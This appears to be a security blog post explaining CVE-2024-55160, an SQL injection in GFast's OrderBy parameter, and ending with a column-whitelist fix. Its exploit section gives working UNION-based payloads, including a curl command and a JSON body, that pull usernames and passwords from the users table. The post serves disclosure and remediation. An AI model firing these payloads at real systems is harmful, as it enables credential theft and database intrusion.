In the ongoing battle for cybersecurity, SQL injection vulnerabilities remain a top threat for web applications. In this blog post, we focus on a newly discovered vulnerability, CVE-2024-55160, affecting the popular GFast web framework between versions 2 and 3.2. Specifically, an attacker can exploit improper handling of the OrderBy parameter in the /system/operLog/list API to launch a SQL injection attack.

If you’re running GFast within these versions, this article will break down the issue, show how the exploit works, and explain ways to mitigate it. No prior deep technical expertise required.

What is GFast?

GFast is an open-source rapid development framework for back-end applications written in Go. Popular in China and used worldwide, GFast is known for its fast setup and modular structure.

What’s the Problem?

Between GFast v2 and v3.2, the /system/operLog/list endpoint allows users to supply an OrderBy parameter, which is not properly sanitized. This means user-supplied input ends up in an SQL query without being properly escaped, inviting SQL Injection.

Endpoint Involved

Vulnerable Endpoint:

POST /system/operLog/list

or

GET /system/operLog/list?OrderBy=...

Here’s a basic request with the dangerous OrderBy parameter

GET /system/operLog/list?OrderBy=id%20ASC HTTP/1.1
Host: <gfast.example.com>
Authorization: Bearer <your_token>

If you tamper with the OrderBy value, the backend will unwittingly inject that user-supplied string directly into its SQL queries.

Exploit Example

Let’s see how an attacker might exploit this bug.

Suppose the backend code works somewhat like the following pseudo Go code

orderBy := r.URL.Query().Get("OrderBy")   // no sanitization!
query := "SELECT * FROM oper_logs ORDER BY " + orderBy
rows, err := db.Query(query)

If an attacker submits

?OrderBy=id;--

The final query becomes

SELECT * FROM oper_logs ORDER BY id;--

Which is already dangerous. But with more creative input

?OrderBy=id ASC; SELECT password FROM users;--

The SQL engine might try to run an extra command, or error out and leak information (depending on SQL backend).

A more practical attack would be to force a UNION-based SQLi:

Try this (replace 1 as needed)

?OrderBy=id ASC UNION SELECT username,password FROM users--

The server might merge log data with user credentials in the response.

With curl, a simple proof might be

curl "http://gfast.example.com/system/operLog/list?OrderBy=id%20ASC%20UNION%20SELECT%201,username,password,4%20FROM%20users--";

Or, with legitimate request data using POST

{
  "OrderBy": "id ASC UNION SELECT 1,username,password,4 FROM users--"
}

References

- CVE-2024-55160 at CVE.org
- GFast Github
- SQL Injection basics (OWASP)

Upgrade to GFast after v3.2 if a patch is available.

- If you cannot upgrade *right now*, sanitize the OrderBy parameter. Only allow whitelisted columns and ignore everything else.

Instead of

orderBy := r.URL.Query().Get("OrderBy")
query := "SELECT * FROM oper_logs ORDER BY " + orderBy

Do this

allowedColumns := map[string]bool{"id": true, "date": true, "username": true}
orderBy := r.URL.Query().Get("OrderBy")
if !allowedColumns[orderBy] {
    orderBy = "id"
}
query := fmt.Sprintf("SELECT * FROM oper_logs ORDER BY %s", orderBy)

Conclusion

CVE-2024-55160 demonstrates how a single unchecked parameter can undermine the security of an entire application. If you use GFast up to v3.2, patch *immediately*, and always validate user-supplied values used in queries.

Stay safe out there, and keep your software up to date!


*If you have questions or need help patching your GFast deployment, leave a comment or contact your security provider.*

Timeline

Published on: 02/27/2025 21:15:37 UTC
Last modified on: 03/03/2025 16:15:38 UTC